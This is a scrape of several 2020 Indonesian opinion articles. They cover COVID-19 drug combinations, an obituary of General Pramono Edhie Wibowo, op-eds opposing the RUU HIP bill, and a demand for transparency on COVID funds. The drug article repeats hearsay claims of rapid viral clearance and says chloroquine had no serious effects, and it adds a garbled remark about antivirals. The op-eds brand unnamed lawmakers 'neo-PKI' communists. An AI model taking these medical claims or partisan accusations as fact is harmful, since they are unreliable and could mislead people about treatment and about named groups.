Oleh Mochamad Toha Jakarta, FNN - Gugus Tugas Percepatan Penanganan Covid-19 pada Jumat (12/6/2020) mengumumkan lima kombinasi obat yang efektif melawan Virus Corona. Hal ini diketahui berdasarkan hasil studi yang dilakukan para pakar di Indonesia. Ketua Pusat Penelitian dan Pengembangan Stem Cell Universitas Airlangga, Dr dr Purwati, SpPD, K-PTI FINASIM, menyebut lima kombinasi obat ini didapatkan setelah ilmuwan meneliti 14 regimen kombinasi obat. Melansir Detik.com, Jumat (12 Jun 2020 14:49 WIB), dalam konferensi pers yang disiarkan BNPB, hasil uji menunjukkan obat dapat menurunkan jumlah virus Corona dari ratusan ribu hingga sampai tidak terdeteksi dalam waktu 24 jam. “Kami mendapat lima kombinasi regimen obat yang mempunyai potensi dan efektivitas cukup bagus untuk menghambat virus masuk dalam sel target dan untuk menghambat atau menurunkan perkembangbiakan dari virus itu di sel,” kata dr Purwati. Konon, lebih dari 3 ribu pasin Corona di RS Darurat Wisma Atlet sembuh dengan memakai kloroquin. Berikut 5 kombinasi obat yang diumumkan efektif: Lopinavir-ritonavir-azitromisinLopinavir-ritonavir-doksisiklinLopinavir-ritonavir-klaritromisinHidroksi-klorokuin-azitromisinHidroksi-klorokuin-doksisiklin Menurut dr Purwati, regimen kombinasi obat corona tersebut tidak untuk diperjualbelikan secara bebas. “Belum diperjualbelikan. Ini kolaborasi antara Unair, BNPB, dan juga Badan Intelijen Negara,” ungkapnya. Hasilnya menunjukkan bahwa obat ini bisa menurunkan jumlah virus Corona, dari jumlahnya ratusan ribu sampai tidak terdeteksi dalam waktu 24 jam. Detik.com merangkum kegunaan dari 5 kombinasi masing-masing obat yang disebut efektif untuk menurunkan jumlah virus Corona tersebut. Lopinavir-ritonavir. Dikutip dari Drugs.com, lopinavir dan ritonavir adalah kombinasi obat antivirus yang digunakan untuk mengobati Human Immunodeficiency Virus (HIV). Virus itu bisa menyebabkan Acquired Immunodeficiency Syndrome (AIDS). Pada bulan Februari lalu, dokter di Thailand mengatakan mereka melihat adanya perbaikan pada kondisi pasien Covid-19 saat diberi kombinasi obat tersebut. Azitromisin. Azitromisin atau azithromycin adalah obat untuk mengobati infeksi bakteri di berbagai organ dan bagian tubuh, seperti mata, kulit, saluran pernapasan, hingga alat kelamin. Obat yang termasuk dalam golongan antibiotik makrolida ini bekerja dengan menghentikan pertumbuhan bakteri. Doksisiklin. Doksisiklin atau doxycycline merupakan antibiotik yang digunakan untuk mengatasi berbagai penyakit karena infeksi bakteri. Obat ini juga bisa mengatasi berbagai penyakit akibat infeksi bakteri, seperti infeksi bakteri di paru-paru, saluran pencernaan, saluran kemih, mata, kulit, sampai infeksi menular seksual. Selain itu, doksisiklin juga bisa menjadi pilihan untuk mengatasi dan mencegah anthrax. Klaritromisin. Hampir sama dengan doksisiklin, klaritromisin atau clarithromycin juga termasuk antibiotik makrolida yang bisa melawan bakteri dalam tubuh. Biasanya obat ini digunakan untuk mengobati berbagai jenis infeksi bakteri yang mempengaruhi kulit dan sistem pernapasan. Hidroksiklorokuin. Hidroksiklorokuin. adalah obat quinoline yang digunakan untuk mengobati atau mencegah penyakit malaria, yaitu penyakit yang disebabkan parasit yang masuk ke tubuh melalui gigitan nyamuk. Mengutip Medlineplus, obat ini juga ditujukan untuk anti-rematik. Bisa digunakan untuk mengobati gejala rheumatoid arthritis, untuk mengurangi rasa sakit dan pembengkakan pada radang sendi. Selain itu, obat ini juga bisa mencegah dan mengobati Discoid Lupus Erythematosus (DLE) yaitu suatu kondisi peradangan kronis pada kulit. Dan, Systemic Lupus Erythematosus (SLE) kondisi peradangan kronis pada tubuh. Sebelumnya pemakaian dan uji coba klorokuin dan hidroksiklorokuin itu sempat dihentikan Organisasi Kesehatan Dunia (WHO), karena alasan keamanan pada pasien Corona. Sebuah studi di The Lancet menunjukkan pasien Corona yang diberi obat malaria hidroksiklorokuin dan klorokuin alami gangguan jantung hingga tingkatkan risiko kematian. Namun, kini studi berjudul “Hydroxychloroquine or chloroquine with or without a macrolide for treatment of COVID-19: a multinational registry analysis” itu akhirnya ditarik. Alasannya karena peninjau independen tersebut tak bisa mengakses data yang digunakan untuk analisis sehingga validitasnya diragukan. Indonesia sendiri hingga saat ini masih menggunakan klorokuin untuk pasien Corona seperti di Rumah Sakit Darurat Covid-19 Wisma Atlet. Hingga Jumat (5/6/2020), ada lebih dari 3 ribu pasien yang dilaporkan sembuh dan sudah dipulangkan. “Total kami rawat 4.470 pasien (virus Corona Covid-19). Hingga saat ini yang sudah sembuh totalnya 3.325 pasien,” jelas Arief Riadi, Ketua Tim Medis Covid-19 Perhimpunan Dokter Paru Indonesia (PDPI) melalui pesan singkat kepada Detikcom dan ditulis Sabtu (6/6/2020). Arief menjelaskan, seluruh pasien Corona di RS Wisma Atlet diberikan klorokuin. Pemberian klorokuin kepada seluruh pasien Corona di Wisma Atlet tidak memiliki efek samping serius atau berbahaya. “Semua pasien di RS Wisma Atlet pakai klorokuin. Alhamdulillah tidak ada (efek serius dari penggunaan klorokuin),” lanjutnya. Menurut Arief Riadi, persentase kesembuhan dari penggunaan klorokuin masih dalam tahap penelitian. Namun, untuk saat ini dapat dilihat dari banyaknya pasien sembuh Corona yang sudah dipulangkan. “Masih dalam penelitian untuk tingkat kesembuhannya. Tetapi dari data di atas jumlah yang pulang (pasien sembuh menjalani perawatan termasuk diberi klorokuin),” ungkapnya. Efek Samping Melansir Kompas.com, Rabu (15/04/2020, 16:14 WIB), artis Tom Hanks dan sang istrinya Rita Wilson, sudah dinyatakan sembuh dari Covid-19. Pasangan artis Hollywood ini terkena virus tersebut di Australia dan menjalani perawatan sebelum akhirnya kembali ke Amerika Serikat. Kala menjalani perawatan, pasangan ini mendapatkan obat klorokuin. Obat yang sebenarnya untuk penyakit malaria itu ternyata memberinya efek samping. “Efek samping yang ekstrem," kata Wilson kepada pembawa acara Gayle King pada Selasa (14/4/2020). Setelah meminum klorokuin, Wilson merasa sangat mual dan mengalami vertigo serta otot-otot yang terasa melemah. “Kita harus sangat mempertimbangkan obat ini,” katanya. “Kami tidak tahu apakah itu aman dalam kasus ini,” imbuhnya. Meskipun ribuan pasien corona yang sakit parah sedang dirawat dengan versi yang lebih baru dari obat malaria yang disebut hydroxychloroquine. Obat tersebut memang masih dalam taraf uji coba. Sekelompok dokter menyebutnya sebagai pengobatan Covid-19 yang paling efektif, tetapi dalam beberapa kasus tidak berhasil. Para peneliti telah membatalkan suatu studi di Brasil terhadap obat tersebut setelah sebagian pasien mengalami komplikasi jantung yang berpotensi fatal. Konon, tidak hanya komplikasi jantung saja efeknya. Klorokuin juga bisa merusak mukosa lambung, yang diikuti dengan iritasi lambung. Klorokuin itu obat malaria – parasit – bukan obat virus. Pemakaian antivirus, jelas merusak keseimbangan ekosistem di lambung. Penulis, Wartawan Senior

Diperintah Makan Enak Kolonel Pramono Edhie Wibowo

Oleh Hersubeno Arief Jakarta, FNN- "Wan ajak mas Hersu makan yang enak ya,” ujar Kolonel Pramono Edhie Wibowo kepada Lettu Inf Iwan Setiawan. “Siap!” jawab Lettu Iwan sambil tersenyum. Iwan langsung mengajak saya keluar Ksatrian Gatot Subroto Markas Group I Komando Pasukan Khusus (Kopassus) TNI AD. Letaknya tak jauh dari pintu tol Serang Barat, Banten. Kami menuju salah satu restauran yang banyak tersebar di sepanjang jalan Kota Serang-Cilegon. Makan enak seperti “diperintahkan” Sang Kolonel . Edhie sendiri memilih melanjutkan kerja dan kemudian makan bersama dengan staf dan pasukannya. Dia tampaknya tak enak hati kalau harus mengajak saya makan ransum, jatah prajurit. Siang itu saya baru saja menemui Edhie yang menjabat sebagai Komandan Group 1 Kopassus TNI AD di Serang, Banten (1998). Kami membahas detil akhir rencana penerbitan buku dokumentasi keberhasilan para pendaki Kopassus TNI mencapai puncak gunung tertinggi di dunia Himalaya ( 8.848 meter). Setahun sebelumnya (26 April 1997) dua orang pendaki Kopassus Pratu Asmujiono dan Sertu Misirin berhasil mencapai puncak Himalaya. Tim ini dipimpin oleh Lettu Iwan Setiawan yang kini menjadi Komandan Korem 173/PVB di Biak, Papua dengan pangkat Brigjen. Ketiganya menjadi pendaki pertama di Asia Tenggara yang berhasil mencapai puncak impian pendaki gunung di seluruh dunia. Buku berjudul “Di Puncak Himalaya Merah Putih Kukibarkan” itu rencananya akan diterbitkan pada tanggal 17 Agustus 1998 bersamaan dengan HUT Kemerdekaan RI ke 53. Sebagai anggota tim penulis, saya sering menemui Kolonel Edhie untuk konsultasi, mengecek akurasi data, dan berbagai teknis lainnya. Sewaktu masih berpangkat Letkol dan menjabat sebagai Wakil Komandan Group 1 Kopassus, Edhie ditunjuk oleh Komandan Jenderal Kopassus Mayjen TNI Prabowo Subianto sebagai Koordinator Umum Tim Ekspedisi Himalaya. Dia memimpin ekspedisi, bekerjasama dengan sejumlah pendaki sipil dari berbagai klub pendaki antara lain Mapala UI dan Wanadri. Dalam penyusunan dan penulisan buku Edhie menjadi koordinator pelaksana. Prabowo sebagai penanggung jawab. Berbarengan dengan jatuhnya kekuasaan Presiden Soeharto, dan karir militer Prabowo terhenti, Edhie juga mengambil peran sebagai penanggung jawab. Sebagai komandan, Edhie punya kebiasaan unik. Dia makan jatah ransum yang juga dimakan anak buahnya. Tak ingin dibeda-bedakan. Sederhana, dekat dengan anak buah adalah sifat yang menonjol putra legenda Kopassus Letjen TNI Sarwo Edhie Wibowo. Dia tampaknya sangat meneladani, menjaga nama baik dan kehormatan ayahandanya. Seorang anak buahnya bercerita, selama menjadi Komandan Group di Serang, dia menolak setoran dan pemberian para pengusaha. Kebiasaan semacam itu secara bercanda disebut sebagai jatah “preman.” Sebagai gantinya Edhie minta kepada pengusaha untuk membantu anak buahnya, bila memerlukan. Misalnya kepada pengusaha angkutan, dia minta ketika anak buahnya naik, digratiskan. Fasilitas-fasilitas kecil semacam itu sangat membantu para prajurit yang gajinya tidak memadai. Sikap Edhie membuat anak buah sangat respek. Menghormatinya. Gayanya tidak berubah kendati karirnya terus meroket. Berbagai jabatan penting di TNI AD pernah diembannya. Mulai dari Danjen Kopassus (2008–2009), Pangdam III/Siliwangi (2009–2010), dan Panglima Kostrad (2010–2011). Puncak karirnya di militer ketika diangkat menjadi Kepala Staf TNI AD (2011-2013) dengan pangkat jenderal bintang empat. Edhie tetap menyapa ramah dengan senyum mengembang manakala bertemu. “Eh kemana aja lu?,” sapanya. Jenderal baik hati, ramah dan sederhana itu Sabtu (13/6) wafat dalam usia 65 tahun karena sakit jantung. Selamat jalan Jenderal Pramono Edhie Wibowo. Semoga Allah SWT menerima semua amal baikmu. Allohuma firlahu warhamhu waafihi wa’fuanhu. End Penulis Wartawan Senior

Gagalnya Usaha Kader Neo-PKI Gerogoti Pancasila

by M Rizal Fadillah Jakarta FNN – Rabu (17/06). Pemerintah memutuskan menunda pembahasan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Setelah Mahfud MD yang didampingi Yasonna Laoly menyatakan sikap Pemerintah untuk menunda pembahasan RUU HIP, pemerintah meminta DPR untuk menyerap aspirasi masyarakat terlebih dahulu. Kemungkinan kegagalan RUU HIP untuk menjadi Undang-Undang sangat besar. Kegagalan ini didasarkan pada kuatnya aspirasi penolakan RUU HIP. Penolakan itu bukan hanya semata-mata untuk direvisi atau tambah dan kurang. Tetapi tidak dilanjutkan pembahsannya menjadi undang-undang. Memang pemerintah tidak tegas dalam bersikap. Apakah pemerintah menolak untuk melakukan pembahasan lebih lanjut atau menghentikan. Seperti biasa solusinya pemerintah selalu "mengambang". Pemerintah hanya meminta DPR menyerap aspirasi terlebih dahulu. Sebenarnya hal ini adalah intervensi. Bagi DPR, secara hukum sudah selesai dengan ketukan di Paripurna. Dengan meminta DPR menyerap aspirasi lagi, maka pemerintah telah melecehkan institusi DPR. Namun, meski dilecehkan, DPR pasati bakal menerima saja, karena DPR telah terbiasa dilecehkan. Kalau tidak dilecehkan, DPR kadang-kadang, dan mulai terbiasa melehkan dirinya sendiri. Lihat saja pengesahan Perppu Nomor 1 Tahun 2020 menjadi Undang-Undang Nomor 2 Tahun 2020. Meski kewenangan budgeting DPR berdasarkan konstitusi UUD 1945 dijamin, namun ketika diamputasi pemerintah, DPR meterima saja dengan senang hati. Sebelumnya telah membuat RUU HIP dengan asal-asalan, kontroversial, dan tendensius. DPR secara sadar mau menghidupkan kembali faham komunisme, marxisme-leninisme. Sayangnya, rencana busuk DPR untuk mendegradasi ideologi Pancasil dengan undang-undang ini ditentang dan dilawan keras oleh masyatakat, khususnya umat Islam Ada empat konsekuensi politik dari kegagalan tersebut. Pertama, DPR sebaiknya mendrop RUU HIP dari (Program Legislasi Nasional) Prolegnas Prioritas. Langkah ini sebagai jawaban menjaga kewibawaan diri DPR. Jika hanya mengikuti saran Pemerintah, maka sangat jelas DPR menjadi bawahan dari Pemerintah. Padahal RUU ini telah menjadi "sampah" di masyarakat, khususnya umat Islam. Kedua, mengingat RUU HIP telah mendegradasi Ideologi Pancasila, maka jika "terpaksa" hendak melakukan pembahasan kembali di DPR maka, harus mengajak DPD RI. Artinya, lembaga MPR yang lebih kompeten. Pembahasannya ditarik ke atas. Bukan lagi di DPR, tetapi sudah di MPR. Ketiga, sikap rakyat yang tegas menolak, dan sikap Pemerintah yang menunda menandakan ada yang tidak beres pada RUU HIP ini. Misi tersembunyi yang diisukan kuat soal komunisme cukup serius. PDIP sebagai pengusung harus melakukan pembersihan diri ke dalam dari kader-kader neo-PKI. Keempat, ke depan DPR atau siapapun dalam mengambil kebijakan politik, harus mempertimbangkan aspirasi umat Islam. Mengecilkan dan menyinggung perasaan politik umat Islam adalah pengingkaran terhadap sejarah pendirian bangsa ini. Sekaligus dapat memancing konflik baru dengan umat Islam. RUU HIP adalah bukti nyata tentang catatan buruk dari rapuhnya DPR dalam mencitrakan diri sebagai lembaga perwakilan rakyat. Koalisi partai partai di pemerintahan menambah kerapuhan di tingkat DPR. Ketum Partai yang menjadi menteri, memudahkan lobby sekaligus bukti kooptasi. Untuk itu, ke depan harus ada larangan Ketua Partai menjadi pembantu Presiden. RUU HIP secara filosofis, yuridis, sosiologis, dan historis sangat buruk. Kini tercampak sebagai RUU "sampah". Karenanya selayaknya untuk tidak menjadi bahasan DPR lagi. Rakyat, khususnya umat Islam kembali telah berhasil menggagalkan upaya neo-PKI untuk "mengkudeta" halus ideologi Pancasila. DPR harus tegas menarik RUU HIP dan tidak mengambangkan lagi. Sikap "buying time" hanya menambah kerawanan politik baru. Sementara sikap rakyat dan pemerintah sudah sangat jelas. Pilihan bagi kewibawaan DPR adalah cabut atau tarik kembali RUU HIP dari Prolegnas Prioritas tahun 2020. Meskipun usaha kader-kader neo-PKI untuk sementara telah gagal. Namun, berdasarkan perintah Majelis Ulama Indonesia (MUI), umat Islam akan terus dan terus melakukan pengawalan terhadap RUU HIP ini. Umat Islam tidak akan pernih diam atau tidur dalam menghadapi upaya-upaya mengkerdilkan, mendegrdasi, mendistorsi ideoligi Pancasil. Catat dan ingat itu. Penulis adalah Pemerhati Politik dan Kebangsaan.

Batalkan RUU HIP, Tanpa Kompromi!

by Tony Rosyid Jakarta FNN – Selasa (16/06). Sikap Majelis Ulama Indonesia (MUI) sangat jelas dan tegas. Maklumat MUI poin Nomor 4 berbunyi, "Wajib RUU HIP ini ditolak dengan tegas tanpa kompromi apapun". Tidak ada lagi yang abu-abu dari sikap MUI. Artinya, RUU HIP harus dieluarkan dari Program Legislasi Nasional (Prolegnas) Prioritas tahun 2020 Jadi, tolak. Bukan direvisi. Tolak artinya, batalkan pembahasan RUU HIP. Nggak ada ruang. Jangan ngeyel dungu dan dongo. Kenapa? Karena masalah di RUU HIP bukan hanya soal materi, tetapi diduga ada upaya untuk membangkitkan kembali faham komunisme-PKI di Indonesia. Maka, di poin Nonor 5 Maklumat MUI dinyatakan "Kami pantas mencurigai bahwa konseptor RUU HIP ini adalah oknum-oknum yang ingin membangkitkan kembali paham dari PKI, dan oleh karena itu patut diusut oleh yang berwajib". Ingat itu. Konseptorn RUU HIP harus diusut lebih lanjut. Tidak hanya menolak RUU HIP. MUI juga mendesak pihak yang berwajib, dalam konteks ini tentu adalah kepolisian untuk mengusut siapa saja yang terlibat dibalik upaya untuk membangkitkan PKI melalui RUU HIP. Publik dan masyarakat berhak untuk siapa saja konseptornya? Dan poin Nomor 6 "MUI Meminta dan menghimbau kepada umat Islam Indonesia agar tetap waspada dan selalu siap siaga terhadap penyebaran faham komunis dengan pelbagai cara dan metode licik, yang mereka lakukan saat ini". MUI menggunakan kata "Metode licik". Ini pilihan diksinya keras sekali. Artinya, MUI menyimpulkan bahwa cara-cara yang dipakai oleh kumunisme-PKI itu licik dan licik. Menghalalkan segala cara. Wajar saja dong... PKI itu kan anti Tuhan. Standar moralnya tentu beda dengan umat beragama. Pada poin Nomor 8, MUI Pusat dan segenap Pimpinan MUI Propinsi dari seluruh Indonesia "menghimbau Umat Islam Indonesia agar bangkit bersatu dengan upaya konstitusional untuk menjadi garda terdepan dalam menolak paham dan berbagai upaya licik yang dilakukan PKI… ". Lagi-lagi, MUI masih tetap menggunakan kata "licik". Kata ini dipakai oleh MUI untuk mengulangi ketegasannya tentang usaha PKI untuk bangkit kembali. Umat Islam dihimbau MUI untuk selalu siapa-siaga sebagai garda terdepan melakukan perlawanan secara konstitusional. Ingat itu. Perlawanan secara konstitusional. Mau Dibarter Dengan Khilafah Maklumat MUI sangat jelas dan tegas, “Tolak RUU HIP”. Tak ada ruang untuk dibahas lagi di DPR. MUI yang didukung oleh hampir semua elemen Umat Islam menginginkan RUU HIP dibatalkan. Sekali lagi, dibatalkan. Bukan direvisi yaa… Jangan coba-coba mengotak atik. Jangan juga merekayasa dan melakukan negosiasi untuk melanjutkan pembahsan RUU HIP. Kalau dilanjutkan dengan alasan apapun, akan berhadapn dengan MUI dan Umat Islam. Bisa berakit pada terjadinya instabilitas politik. Ada isu, diktum "Khilafah" mau dimasukkan sebagai bagian dari negosiasi dengan kelompok Islam. Ini lucu dan menggelikan. Barter dengan "Khilafah" itu terlalu mengada-ada. MUI dan Umat Islam tidak butuh, dan tidak mau barter-barteran. Maunya hanya “menghhentikan dan membatalkan” pembahasan RUU HIP pada tahap berikutnya. Begitu saja ko repit. Mudah kan? Maklumat MUI poin Nomor 4 "tolak tanpa kompromi", itu jelas dan tegas. Nggak ada kompromi. Artinya, nggak ada juga negosiasi. Mau Khilafah kek, mau piagam Jakarta kek, atau apapun juga, tidak. No negosiation! Nggak ada kompromi. Tenyata bias gareang, tegas dan keras juga organisasi para ulama yang lahir 26 Juli 1975 ini. Jadi teringat kembali sama Buya Hamka, ketua MUI pertama. Lugas, tak bisa diajak kompromi untuk hal-hal yang prinsip. Nampaknya, MUI sekarang ingin menunjukkan jati dirinya yang asli. Dalam konteks perlawanannya terhadap RUU HIP, MUI Pusat tidak sendirian. Maklumat ini didukung oleh MUI provinsi seluruh Indonesia. Juga didukung oleh ormas Islam seperti NU, Muhammadiyah, Persis, Al-Irysad,Al-Washliyah, PUI Wahdah Islamiyah, Ansor, FPI, dan berbagai elemen masyarakat muslim di seluruh Indonesia. Pemerintah dan DPR, akan lebih bijak jika mendengar aspirasi dan peringatan ini. Batalkan RUU HIP, dan jangan dibahas lagi di DPR. Jangan mencoba-coba untuk bernegosiasi, karena itu hanya akan memperkuat kecurigaan, yang dari semula sudah tumbuh di kalangan umat Islam. Jika pembahasan RUU dipaksakan, khawatir ini justru akan memancing gejolak bangsa. Sangat Berbahaya! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Usut Konseptor dan Anggota DPR Pengusul RUU HIP

by M Rizal Fadillah Jakarta FNN- Selasa (16/05). Maklumat Majelis Ulama Indonesia (MUI) sudah cukup tegas dank eras. MUI memberikan peringatan kepada DPR dan Pemerintah tentang bahaya Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). MUI juga memberi sinyal umat Islam harus waspada bahkan siaga satu. RUU HIP adalah puncak gunung es yang muncul di permukaan laut. Ada yang lebih dahsyat dan besar di bawahnya. Kalimat penting dari Maklumat MUI tersebut adalah, disamping memberikan ultimatum kepada Pemerintah, juga penolakan tanpa kompromi atas pembahasan RUU HIP. MUI beranggapan, RUU HIP yang berbau bangkitnya kembali PKI dengan cara yang lain. RUU ini akan memberikan jalan untuk menghidupkan kembali faham komunisme. Untuk itu, MUI menyatakan penolakan terhadap RUU HIP tanpa kompromi. Bukan untuk direvisi. Tetapi ditolak untuk dibahas. Ingat itu. RUU HIP harus keluarkan dari Program Legislasi Nasional (Proglegnas) prioritas tahun 2020. Disamping itu, MUI juga meminta agar dilakukan pengusutan oleh yang berwajib terhadap konseptor RUU HIP tersebut. Masyarakat anti faham komunis berhak untuk tau siapa saja konseptornya. Rakyat juga berhak untuk menghukum mereka para konseptor RUU HIP tersebut secara moral. Sedangkan menghukum mereka dengan hukum positif, itu wilayah dan kaplingnya para penegak hukum. Kalau melanggar hukum, itu ranahnya Polisi, Jaksa dan Hakim di pengadilan. MUI menyatakan, "kami pantas mencurigai bahwa konseptor RUU HIP ini adalah oknum-oknum yang ingin membangkitkan kembali paham dan Partai Komunis Indonesia. Oleh karena itu, patut untuk diusut oleh yang berwajib". Kecurigaan MUI tersebut, layak untuk menjadi perhatian. Pengusutan secara komprehensif dan bertahap patut dilaksanakan. Pertama, PDIP menginformasikan dan meneliti siapa saja tim penyusundi internal konsep RUU HIP itu. Apakah sepenuhnya dari kader PDIP atau melibatkan unsur luar. Bongkar kembali notulensi rapat dan masukan-masukan sampai terformulasi narasi akhir sebelum menjadi RUU yang diusung oleh PDIP. Selanjutnya menelaah apa motif dibalik RUU HIP ini, sehingga memuat klausul yang sangat kontroversial. Seharusnya sudah patut diduga akan dikritisi, baik pada tahap pembahasan DPR, maupun setelah terpublikasi di masyarakat. Adakah filter atau pemeriksaan akhir dari institusi Pimpinan PDIP sendiri. Bila ditemukan adanya motif. Lalu ada oknum yang memang sengaja berniat membangkitkan faham komunisme dan Partai Komunis Indonesia sebagaimana dicurigai MUI, maka PDIP harus memberi sanksi kepada kader atau pihak lain yang terlibat tersebut. Sebab sangat merugikan lembaga PDIP PDIP harus membenahi dan membersihkan partai "Pancasilais" nya dari anasir- anasir yang ingin merusak citra PDIP. Caranya, dengan berupaya membangkitkan kembali faham dan Partai Komunis Indonesia. Rakyat tentu menunggu upaya pembenahan dan pembersihan internal di lingkungan PDIP sendiri. Jangan sampai institusi PDIP dijadikan sebagai tempat persembunyian terang-terangan oleh kader-kader yang neo PKI. Sekarang mereka belom menyebut atau menggunakan nama dan atribut yang bertemakan PKI. Bahkan bias saja menyebut dirinya yang paling Pancasilais. Namun setelah merasa kuat segala-galanya, barulah aslinya diperlihatkan. Sebagaimana diketahui PKI adalah partai terlarang. Selain itu, dilarang untuk menyebarkan atau mengambangkan faham komunisme/marxisme-leninisme. Larangan ini diatur dalam Ketetapan MPRS XXV tahun 1966, yang memberikan landasan dan KUHP khususnya Pasal 107a, c, dan d. Pasal 107 KUHP tersebut, memberikan sanksi dengan gradasi delik pidana selama 12, 15, dan 20 tahun penjara. Artinya komunisme/marxisme-leninisme itu adalah perbuatan kriminal. Sapapun orangnya, tanpa adanya pengecualian, bagi yang berusaha atau berupaya menghidupkan paham ini harus diberikan sanksi pidana. Tidak ada pilihan sanksi yang lain. MUI menuntut pihak yang berwajib agar mengusut oknum para konseptor RUU HIP tersebut. Ini adalah langkah hukum yang berguna sebagai peringatan dan pembelajaran kepada siapapun. Agar tidak menggampangkan persoalan untuk mengotak-atik ideologi Pancasila di masa mendatang. Apalagi mencoba-coba mengembangkan ideologi komunisme/marxisme-leninisme. Rakyat telah dibuat sibuk mengantisipasi hal-hal yang sebenarnya tidak perlu ada. Ideologi Pancasila bagi bangsa dan NKRI telah final. Rakyat Indonesia mendukung penghentian pembahasan RUU HIP. Lalu segera usut oknum konseptor dan anggota DPR yang mengusulkan RUU HIP ke Badan Legislasi (Baleg) DPR. Rakyat berhak tau siapa saja anggota DPR yang mengusulkan. PDIP jangan melindungi kader-kader new PKI yang hari ini berusaha bersembunyi dibalik baju besar PDIP. Institusi PDIP harus diselamatkan dari orang-orang yang berusaha menghidupkan kembali faham komunisme/marxisme-leninisme. Penulis adalah Pemerhati Politik dan Kebangsaan.

Harus Dibuka Siapa Korporasi Licik Penerima Dana Covid

by Haris Rusly Moti & Salamuddin Daeng Masyarakat dan publik wajib untuk mengetahui siapa saja korporasi dan lembaga yang menjadi penerima alokasi APBN darurat akibat Covid. Ini penting, untuk mencegah skema skandal Bantuan Likuiditas Bank Indonesia (BLBI) dan Century jilid dua terulang kembali. Pemerintah Joko Widodo harus membuka informasi korporasi penerima dana covid kepada rakyat. Pada tanggal 12 Juni 2020, kami selaku warga negara telah menempuh langkah konstitusional. Langkah itu diatur di dalam UU Nomor 14 tahun 2008, tentang keterbukaan informasi publik. Kami minta agar informasinya harus disampaikan kepada rakyat. Jangan hanya diam-diam antara pemerintah dan DPR. Berdasarkan UU tersebut, kami secara resmi telah meyampaikan tuntutan kepada Pemerintahan yang dipimpin Presiden Joko Widodo. Kementerian Keuangan RI selaku Bendahara Negara untuk membuka ke publik terkait beberapa informasi yang menyangkut APBN Darurat Covid untuk alokasi penanganan darurat Covid. Juga yang dipakai untuk Pemulihan Ekonomi Nasional (PEN). Pertama, korporasi swasta mana saja yang mendapatkan suntikan dana dari APBN dalam berbagai skema tersebut? Termasuk diantaranya skema bail out dengan rute yang agak panjang seperti reklasasi kredit. Publik jangan sampai tidak tau masalah ini. Selain itu, perlu dibuka juga penyertaan modal pemerintah ke bank untuk tujuan penyelamatan kredit macet oligarki. Berapa nilai dana yang disuntikan kepada masing masing corporasi? Untuk apa saja alokasi dana tersebut digunakan? Kedua, BUMN mana saja yang memperoleh alokasi Penyertaan Modal Negara (PMN) atau suntikan dana bentuk lainya? Berapa nilainya untuk setiap BUMN? Apa alasan BUMN tertentu menerima suntikan dana PMN tersebut? Untuk apa saja alokasi suntikandana tersebut digunakan? Ketiga, program darurat apa saja yang dibiayai oleh APBN darurat Covid? Berapa nilai dari tiap-tiap program? Lembaga apa saja yang menjadi menerimanya? Siapa yang menjadi penguasa anggarannya? Publik wajib untuk mengetahuinya. Keempat, dari mana sumber anggaran pembiayaan seluruh skema suntikan dana kepada korporasi tersebut? Mohon untuk diberikan rincian sumber anggaran pembiayaannya tersebut. Ini juga penting diketahui publik. Berdasarkan Pasal 9 ayat (2) UU No. 14 tahun 2008 tentang Keterbukaan Informasi Publik, beberapa permasalahan yang ingin kami ketahui tersebut adalah bagian dari informasi yang harus diketahui oleh publik. Jangan sampai tidak. Ditegaskan di dalam Pasal 10 UU Keterbukaan Informasi Publik, informasi tersebut wajib diumumkan secara serta-merta. Karena informasi tersebut terkait erat dengan hajat hidup orang banyak. Jangan hanya pejabat pemerintah yang mengetahui. Publik juga tentu berhak untuk mengetahui penggunaan anggaran, terutama yang berasal dari utang luar negeri. Apalagi utang dalam rangka penanganan darurat Covid-19.Juga pinjaman luar negeri untuk pemulihan ekonomi nasional. Sebab dampak pendemi Covid 19 yang sangat erat dengan kebutuhan hidup masyarakat banyak. Sebagaimana diatur dalam ketentuan UU No. 14 Tahun 2008 bahwa setiap instansi pemerintah pusat dan daerah wajib membuat laporan kinerja serta membuka akses informasi untuk publik. Harus menyediakan informasi yang akurat, benar dan tidak menyesatkan. Jika informasi yang kami butuhkan sesuai permintaan di atas tidak dipenuhi, maka dalam waktu yang ditentukan berdasarkan, kami akan mengajukan proses hukum lebih lanjut ke Komisi Informasi Publik (KIP). Proses hokum itu ditujukan kepada Menteri Keuangan RI sebagai Bendahara Pengelola Keuangan Negara. Kementerian Keuangan harus membuka Informasi terkait alokasi APBN Darurat Covid untuk penanganan darurat Covid maupun untuk Pemulihan Ekonomi Nasional (PEN). Jangan sampai ditutup-tutupi. Terutama yang dialokasikan kepada koprporasi dan lembaga. Beberapa alasan kami menuntut Kementerian Keuangan membuka informasi ke publik terkait alokasi APBN Darurat Covid.Pertama, ada indikasi suntikan dana APBN pada korporasi baik BUMN, maupun swasta, telah menjadi bancakan mereka oligarki ekonomi dan politik. Bancakan tersebut diantaranya untuk persiapan dana pemenangan pemilu 2024. Kami tengarai modus skandal BLBI dan Century sedang dijalankan dalam skema yang soft dan rute yang panjang. Kedua, jumlah anggaran yang dialokasikan sering berubah ubah. Sebelumnya Rp. 405,1 triliun. Namun beberapa kali diajukan perubahan. Terakhir diputuskan naik menjadi Rp. 641,17 triliun. Kuat dugaan kami, anggaran dana APBN Darurat ini adalah pesanan dari sekelompok orang untuk mendapatkan suntikan dana APBN. Ketiga, kuat dugaan kami bahwa anggaran suntikan dana bagi korporasi dan lembaga keuangan ini akan digunakan untuk membayar utang korporasi. Baik itu untuk BUMN maupun swasta yang sedang terlilit utang. Keempat, pembiayaan dari seluruh suntikan dana kepada korporasi swasta dan BUMN ini diduga berasal dari utang pemerintah. Negara dan rakyat dibebankan tanggung jawab menanggung utang BUMN dan swasta tersebut. Kami mengajak rakyat, mahasiswa, kampus dan seluruh angkatan muda lintas agama untuk bersama-sama mendesak pemerintah membuka ke publik alokasi anggaran darurat Covid 19. Semoga berhasil Penulis adalah Mantan Aktivis ‘98

Jaksa Fedrik “Man of The Week”

